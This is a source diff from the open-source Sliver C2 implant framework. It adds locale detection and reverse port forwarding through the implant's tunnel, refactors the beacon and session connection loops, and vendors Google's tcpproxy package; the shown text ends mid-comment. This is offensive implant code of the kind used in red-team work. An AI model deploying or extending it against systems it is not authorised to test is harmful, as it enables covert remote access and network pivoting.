"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
)
|
||||
|
||||
// GetLocale returns the default language set
|
||||
func GetLocale() string {
|
||||
userLocale, err := jibberjabber.DetectIETF()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return userLocale
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//go:build !darwin && !windows && !linux
|
||||
|
||||
package locale
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
// GetLocale returns the default language set
|
||||
func GetLocale() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// Portfwds - Struct instance that holds all the portfwds
|
||||
Portfwds = portfwds{
|
||||
forwards: map[int]*Portfwd{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
|
||||
portfwdID = 0
|
||||
)
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
|
||||
// Portfwd - Tracks portfwd<->tcpproxy
|
||||
type Portfwd struct {
|
||||
ID int
|
||||
TCPProxy *tcpproxy.Proxy
|
||||
ChannelProxy *ChannelProxy
|
||||
}
|
||||
|
||||
// GetMetadata - Get metadata about the portfwd
|
||||
func (p *Portfwd) GetMetadata() *PortfwdMeta {
|
||||
return &PortfwdMeta{
|
||||
ID: p.ID,
|
||||
BindAddr: p.ChannelProxy.BindAddr,
|
||||
RemoteAddr: p.ChannelProxy.RemoteAddr,
|
||||
}
|
||||
}
|
||||
|
||||
type portfwds struct {
|
||||
forwards map[int]*Portfwd
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
// Add - Add a TCP proxy instance
|
||||
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
portfwd := &Portfwd{
|
||||
ID: nextPortfwdID(),
|
||||
TCPProxy: tcpProxy,
|
||||
ChannelProxy: channelProxy,
|
||||
}
|
||||
f.forwards[portfwd.ID] = portfwd
|
||||
return portfwd
|
||||
}
|
||||
|
||||
// Remove - Remove a TCP proxy instance
|
||||
func (f *portfwds) Remove(portfwdID int) *Portfwd {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
if portfwd, ok := f.forwards[portfwdID]; ok {
|
||||
portfwd.TCPProxy.Close()
|
||||
delete(f.forwards, portfwdID)
|
||||
return portfwd
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List - List all TCP proxy instances
|
||||
func (f *portfwds) List() []*PortfwdMeta {
|
||||
f.mutex.RLock()
|
||||
defer f.mutex.RUnlock()
|
||||
portForwards := []*PortfwdMeta{}
|
||||
for _, portfwd := range f.forwards {
|
||||
portForwards = append(portForwards, portfwd.GetMetadata())
|
||||
}
|
||||
return portForwards
|
||||
}
|
||||
|
||||
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
|
||||
// one ChannelProxy per port bind.
|
||||
//
|
||||
// Implements the Target interface from tcpproxy pkg
|
||||
type ChannelProxy struct {
|
||||
Conn *transports.Connection
|
||||
//Session *clientpb.Session
|
||||
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
KeepAlivePeriod time.Duration
|
||||
DialTimeout time.Duration
|
||||
}
|
||||
|
||||
// HandleConn - Handle a TCP connection
|
||||
func (p *ChannelProxy) HandleConn(src net.Conn) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcpproxy] Handling new connection")
|
||||
// {{end}}
|
||||
ctx := context.Background()
|
||||
var cancelContext context.CancelFunc
|
||||
if p.DialTimeout >= 0 {
|
||||
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
|
||||
}
|
||||
if conn, ok := src.(*net.TCPConn); ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Configuring keep alive")
|
||||
// {{end}}
|
||||
conn.SetKeepAlive(true)
|
||||
// TODO: Make KeepAlive configurable
|
||||
conn.SetKeepAlivePeriod(30 * time.Second)
|
||||
}
|
||||
// Add tunnel
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[rportfwd] Creating tcp tunnel")
|
||||
// {{end}}
|
||||
|
||||
tId := NewTunnelID()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
|
||||
// {{end}}
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
tId,
|
||||
src,
|
||||
src,
|
||||
)
|
||||
p.Conn.AddTunnel(tunnel)
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := p.Conn.Tunnel(tunnel.ID)
|
||||
p.Conn.RemoveTunnel(tunnel.ID)
|
||||
src.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: p.Conn,
|
||||
host: p.Host(),
|
||||
port: p.Port(),
|
||||
protocol: sliverpb.PortFwdProtoTCP,
|
||||
tunnelID: tId,
|
||||
}
|
||||
// portfwd only uses one reader, hence the tunnel.Readers[0]
|
||||
n, err := io.Copy(tWriter, tunnel.Readers[0])
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
// {{end}}
|
||||
|
||||
cleanup(err)
|
||||
}()
|
||||
}
|
||||
|
||||
// HostPort - Returns the host and port of the TCP proxy
|
||||
func (p *ChannelProxy) HostPort() (string, uint32) {
|
||||
defaultPort := uint32(8080)
|
||||
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse addr %s", p.RemoteAddr)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
portNumber, err := strconv.Atoi(rawPort)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse number from %s", rawPort)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
port := uint32(portNumber)
|
||||
if port < 1 || 65535 < port {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid port number %d", port)
|
||||
// {{end}}
|
||||
return "", defaultPort
|
||||
}
|
||||
return host, port
|
||||
}
|
||||
|
||||
// Port - Returns the TCP port of the proxy
|
||||
func (p *ChannelProxy) Port() uint32 {
|
||||
_, port := p.HostPort()
|
||||
return port
|
||||
}
|
||||
|
||||
// Host - Returns the host (i.e., interface) of the TCP proxy
|
||||
func (p *ChannelProxy) Host() string {
|
||||
host, _ := p.HostPort()
|
||||
return host
|
||||
}
|
||||
|
||||
func (p *ChannelProxy) dialTimeout() time.Duration {
|
||||
if p.DialTimeout > 0 {
|
||||
return p.DialTimeout
|
||||
}
|
||||
return 30 * time.Second
|
||||
}
|
||||
|
||||
func nextPortfwdID() int {
|
||||
portfwdID++
|
||||
return portfwdID
|
||||
}
|
||||
|
||||
// NewTunnelID - New 64-bit identifier
|
||||
func NewTunnelID() uint64 {
|
||||
randBuf := make([]byte, 8)
|
||||
rand.Read(randBuf)
|
||||
return binary.LittleEndian.Uint64(randBuf)
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// tunnelWriter - Sends data back to the server based on data read()
|
||||
// I know the reader/writer stuff is a little hard to keep track of
|
||||
type tunnelWriter struct {
|
||||
tun *transports.Tunnel
|
||||
conn *transports.Connection
|
||||
host string
|
||||
port uint32
|
||||
protocol int
|
||||
tunnelID uint64
|
||||
}
|
||||
|
||||
func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
n := len(data)
|
||||
createReverse := false
|
||||
rportfwdInfo := &sliverpb.RPortfwd{}
|
||||
if tw.tun.WriteSequence() == 0 {
|
||||
createReverse = true
|
||||
rportfwdInfo.Host = tw.host
|
||||
rportfwdInfo.Port = tw.port
|
||||
rportfwdInfo.Protocol = int32(tw.protocol)
|
||||
rportfwdInfo.TunnelID = tw.tunnelID
|
||||
}
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tw.tun.ReadSequence(),
|
||||
TunnelID: tw.tun.ID,
|
||||
Data: data,
|
||||
CreateReverse: createReverse,
|
||||
Rportfwd: rportfwdInfo,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -1,5 +1,23 @@
|
||||
package service
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
+15
-15
@@ -51,6 +51,7 @@ import (
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
@@ -67,14 +68,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
InstanceID string
|
||||
|
||||
c2Servers = []string{
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
"{{$value}}", // {{$index}}
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
InstanceID string
|
||||
connectionErrors = 0
|
||||
)
|
||||
|
||||
@@ -202,7 +196,7 @@ func beaconStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(c2Servers, abort)
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -234,7 +228,7 @@ func sessionStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
for connection := range connections {
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
Register: register,
|
||||
NextCheckin: int64(beacon.Duration().Seconds()),
|
||||
}))
|
||||
beacon.Close()
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
|
||||
// BeaconMain - Is executed in it's own goroutine as the function will block
|
||||
// until all tasks complete (in success or failure), if a task handler blocks
|
||||
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] closing ...")
|
||||
// {{end}}
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
}()
|
||||
// {{if .Config.Debug}}
|
||||
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
|
||||
log.Printf("[beacon] failed to parse open session msg: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] open session -> %v", openSession.C2S)
|
||||
// {{end}}
|
||||
|
||||
if openSession.Delay != 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
|
||||
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(openSession.C2S, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
tunHandlers := handlers.GetTunnelHandlers()
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specialHandlers := handlers.GetSpecialHandlers()
|
||||
rportfwdHandlers := handlers.GetRportFwdHandlers()
|
||||
|
||||
for envelope := range connection.Recv {
|
||||
if handler, ok := specialHandlers[envelope.Type]; ok {
|
||||
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := sysHandlers[envelope.Type]; ok {
|
||||
// Beware, here be dragons.
|
||||
// This is required for the specific case of token impersonation:
|
||||
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
Locale: locale.GetLocale(),
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,31 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package spoof
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
@@ -0,0 +1,475 @@
|
||||
package tcpproxy
|
||||
|
||||
// Copyright 2017 Google Inc.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
// Package tcpproxy lets users build TCP proxies, optionally making
|
||||
// routing decisions based on HTTP/1 Host headers and the SNI hostname
|
||||
// in TLS connections.
|
||||
//
|
||||
// Typical usage:
|
||||
//
|
||||
// var p tcpproxy.Proxy
|
||||
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
|
||||
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
|
||||
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
|
||||
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
|
||||
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
|
||||
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
|
||||
// log.Fatal(p.Run())
|
||||
//
|
||||
// Calling Run (or Start) on a proxy also starts all the necessary
|
||||
// listeners.
|
||||
//
|
||||
// For each accepted connection, the rules for that ipPort are
|
||||
// matched, in order. If one matches (currently HTTP Host, SNI, or
|
||||
// always), then the connection is handed to the target.
|
||||
//
|
||||
// The two predefined Target implementations are:
|
||||
//
|
||||
// 1) DialProxy, proxying to another address (use the To func to return a
|
||||
// DialProxy value),
|
||||
//
|
||||
// 2) TargetListener, making the matched connection available via a
|
||||
// net.Listener.Accept call.
|
||||
//
|
||||
// But Target is an interface, so you can also write your own.
|
||||
//
|
||||
// Note that tcpproxy does not do any TLS encryption or decryption. It
|
||||
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
|
||||
// header is unencrypted, for better or worse.
|
||||
//
|
||||
// This package makes no API stability promises. If you depend on it,
|
||||
// vendor it.
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Proxy is a proxy. Its zero value is a valid proxy that does
|
||||
// nothing. Call methods to add routes before calling Start or Run.
|
||||
//
|
||||
// The order that routes are added in matters; each is matched in the order
|
||||
// registered.
|
||||
type Proxy struct {
|
||||
configs map[string]*config // ip:port => config
|
||||
|
||||
lns []net.Listener
|
||||
donec chan struct{} // closed before err
|
||||
err error // any error from listening
|
||||
|
||||
// ListenFunc optionally specifies an alternate listen
|
||||
// function. If nil, net.Dial is used.
|
||||
// The provided net is always "tcp".
|
||||
ListenFunc func(net, laddr string) (net.Listener, error)
|
||||
}
|
||||
|
||||
// Matcher reports whether hostname matches the Matcher's criteria.
|
||||
type Matcher func(ctx context.Context, hostname string) bool
|
||||
|
||||
// equals is a trivial Matcher that implements string equality.
|
||||
func equals(want string) Matcher {
|
||||
return func(_ context.Context, got string) bool {
|
||||
return want == got
|
||||
}
|
||||
}
|
||||
|
||||
// config contains the proxying state for one listener.
|
||||
type config struct {
|
||||
routes []route
|
||||
acmeTargets []Target // accumulates targets that should be probed for acme.
|
||||
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
|
||||
}
|
||||
|
||||
// A route matches a connection to a target.
|
||||
type route interface {
|
||||
// match examines the initial bytes of a connection, looking for a
|
||||
// match. If a match is found, match returns a non-nil Target to
|
||||
// which the stream should be proxied. match returns nil if the
|
||||
// connection doesn't match.
|
||||
//
|
||||
// match must not consume bytes from the given bufio.Reader, it
|
||||
// can only Peek.
|
||||
//
|
||||
// If an sni or host header was parsed successfully, that will be
|
||||
// returned as the second parameter.
|
||||
match(*bufio.Reader) (Target, string)
|
||||
}
|
||||
|
||||
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
|
||||
if p.ListenFunc != nil {
|
||||
return p.ListenFunc
|
||||
}
|
||||
return net.Listen
|
||||
}
|
||||
|
||||
func (p *Proxy) configFor(ipPort string) *config {
|
||||
if p.configs == nil {
|
||||
p.configs = make(map[string]*config)
|
||||
}
|
||||
if p.configs[ipPort] == nil {
|
||||
p.configs[ipPort] = &config{}
|
||||
}
|
||||
return p.configs[ipPort]
|
||||
}
|
||||
|
||||
func (p *Proxy) addRoute(ipPort string, r route) {
|
||||
cfg := p.configFor(ipPort)
|
||||
cfg.routes = append(cfg.routes, r)
|
||||
}
|
||||
|
||||
// AddRoute appends an always-matching route to the ipPort listener,
|
||||
// directing any connection to dest.
|
||||
//
|
||||
// This is generally used as either the only rule (for simple TCP
|
||||
// proxies), or as the final fallback rule for an ipPort.
|
||||
//
|
||||
// The ipPort is any valid net.Listen TCP address.
|
||||
func (p *Proxy) AddRoute(ipPort string, dest Target) {
|
||||
p.addRoute(ipPort, fixedTarget{dest})
|
||||
}
|
||||
|
||||
type fixedTarget struct {
|
||||
t Target
|
||||
}
|
||||
|
||||
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
|
||||
|
||||
// Run is calls Start, and then Wait.
|
||||
//
|
||||
// It blocks until there's an error. The return value is always
|
||||
// non-nil.
|
||||
func (p *Proxy) Run() error {
|
||||
if err := p.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
return p.Wait()
|
||||
}
|
||||
|
||||
// Wait waits for the Proxy to finish running. Currently this can only
|
||||
// happen if a Listener is closed, or Close is called on the proxy.
|
||||
//
|
||||
// It is only valid to call Wait after a successful call to Start.
|
||||
func (p *Proxy) Wait() error {
|
||||
<-p.donec
|
||||
return p.err
|
||||
}
|
||||
|
||||
// Close closes all the proxy's self-opened listeners.
|
||||
func (p *Proxy) Close() error {
|
||||
for _, c := range p.lns {
|
||||
c.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Start creates a TCP listener for each unique ipPort from the
|
||||
// previously created routes and starts the proxy. It returns any
|
||||
// error from starting listeners.
|
||||
//
|
||||
// If it returns a non-nil error, any successfully opened listeners
|
||||
// are closed.
|
||||
func (p *Proxy) Start() error {
|
||||
if p.donec != nil {
|
||||
return errors.New("already started")
|
||||
}
|
||||
p.donec = make(chan struct{})
|
||||
errc := make(chan error, len(p.configs))
|
||||
p.lns = make([]net.Listener, 0, len(p.configs))
|
||||
for ipPort, config := range p.configs {
|
||||
ln, err := p.netListen()("tcp", ipPort)
|
||||
if err != nil {
|
||||
p.Close()
|
||||
return err
|
||||
}
|
||||
p.lns = append(p.lns, ln)
|
||||
go p.serveListener(errc, ln, config.routes)
|
||||
}
|
||||
go p.awaitFirstError(errc)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Proxy) awaitFirstError(errc <-chan error) {
|
||||
p.err = <-errc
|
||||
close(p.donec)
|
||||
}
|
||||
|
||||
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
|
||||
for {
|
||||
c, err := ln.Accept()
|
||||
if err != nil {
|
||||
ret <- err
|
||||
return
|
||||
}
|
||||
go p.serveConn(c, routes)
|
||||
}
|
||||
}
|
||||
|
||||
// serveConn runs in its own goroutine and matches c against routes.
|
||||
// It returns whether it matched purely for testing.
|
||||
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
|
||||
br := bufio.NewReader(c)
|
||||
for _, route := range routes {
|
||||
if target, hostName := route.match(br); target != nil {
|
||||
if n := br.Buffered(); n > 0 {
|
||||
peeked, _ := br.Peek(br.Buffered())
|
||||
c = &Conn{
|
||||
HostName: hostName,
|
||||
Peeked: peeked,
|
||||
Conn: c,
|
||||
}
|
||||
}
|
||||
target.HandleConn(c)
|
||||
return true
|
||||
}
|
||||
}
|
||||
// TODO: hook for this?
|
||||
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
|
||||
c.Close()
|
||||
return false
|
||||
}
|
||||
|
||||
// Conn is an incoming connection that has had some bytes read from it
|
||||
// to determine how to route the connection. The Read method stitches
|
||||
// the peeked bytes and unread bytes back together.
|
||||
type Conn struct {
|
||||
// HostName is the hostname field that was sent to the request router.
|
||||
// In the case of TLS, this is the SNI header, in the case of HTTPHost
|
||||
// route, it will be the host header. In the case of a fixed
|
||||
// route, i.e. those created with AddRoute(), this will always be
|
||||
// empty. This can be useful in the case where further routing decisions
|
||||
// need to be made in the Target impementation.
|
||||
HostName string
|
||||
|
||||
// Peeked are the bytes that have been read from Conn for the
|
||||
// purposes of route matching, but have not yet been consumed
|
||||
// by Read calls. It set to nil by Read when fully consumed.
|
||||
Peeked []byte
|
||||
|
||||
// Conn is the underlying connection.
|
||||
// It can be type asserted against *net.TCPConn or other types
|
||||
// as needed. It should not be read from directly unless
|
||||
// Peeked is nil.
|
||||
net.Conn
|
||||
}
|
||||
|
||||
func (c *Conn) Read(p []byte) (n int, err error) {
|
||||
if len(c.Peeked) > 0 {
|
||||
n = copy(p, c.Peeked)
|
||||
c.Peeked = c.Peeked[n:]
|
||||
if len(c.Peeked) == 0 {
|
||||
c.Peeked = nil
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
return c.Conn.Read(p)
|
||||
}
|
||||
|
||||
// Target is what an incoming matched connection is sent to.
|
||||
type Target interface {
|
||||
// HandleConn is called when an incoming connection is
|
||||
// matched. After the call to HandleConn, the tcpproxy
|
||||
// package never touches the conn again. Implementations are
|
||||
// responsible for closing the connection when needed.
|
||||
//
|
||||
// The concrete type of conn will be of type *Conn if any
|
||||
// bytes have been consumed for the purposes of route
|
||||
// matching.
|
||||
HandleConn(net.Conn)
|
||||
}
|
||||
|
||||
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
|
||||
func To(addr string) *DialProxy {
|
||||
return &DialProxy{Addr: addr}
|
||||
}
|
||||
|
||||
// DialProxy implements Target by dialing a new connection to Addr
|
||||
// and then proxying data back and forth.
|
||||
//
|
||||
// The To func is a shorthand way of creating a DialProxy.
|
||||
type DialProxy struct {
|
||||
// Addr is the TCP address to proxy to.
|
||||
Addr string
|
||||
|
||||
// KeepAlivePeriod sets the period between TCP keep alives.
|
||||
// If zero, a default is used. To disable, use a negative number.
|
||||
// The keep-alive is used for both the client connection and
|
||||
KeepAlivePeriod time.Duration
|
||||
|
||||
// DialTimeout optionally specifies a dial timeout.
|
||||
// If zero, a default is used.
|
||||
// If negative, the timeout is disabled.
|
||||
DialTimeout time.Duration
|
||||
|
||||
// DialContext optionally specifies an alternate dial function
|
||||
// for TCP targets. If nil, the standard
|
||||
// net.Dialer.DialContext method is used.
|
||||
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
|
||||
|
||||
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
|
||||
// If nil, the error is logged and src is closed.
|
||||
// If non-nil, src is not closed automatically.
|
||||
OnDialError func(src net.Conn, dstDialErr error)
|
||||
|
||||
// ProxyProtocolVersion optionally specifies the version of
|
||||
// HAProxy's PROXY protocol to use. The PROXY protocol provides
|
||||
// connection metadata to the DialProxy target, via a header
|
||||
// inserted ahead of the client's traffic. The DialProxy target
|
||||
// must explicitly support and expect the PROXY header; there is
